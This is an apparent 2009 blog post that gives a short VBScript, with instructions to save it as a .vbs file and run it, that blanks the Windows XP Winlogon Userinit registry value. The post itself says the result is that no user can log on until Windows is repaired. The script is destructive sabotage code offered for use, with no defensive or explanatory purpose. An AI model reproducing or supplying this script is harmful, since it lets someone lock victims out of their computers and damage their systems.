Apr 16, 2009

Code to Prevent user logon in Winxp

Open notepad and paste this there then save it as xyz.vbs then run....
****Note: After this u will never able to logon in win Xp untill u repair window....


Option Explicit
Dim objShell, strRoot, strModify
strRoot = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
Set objShell = CreateObject("WScript.Shell")
strModify = objShell.RegWrite(strRoot," ", "REG_SZ")
WScript.Echo "Value Modified"
strModify = null
WScript.Quit

No comments:

Boorkmark & Share

Bookmark Options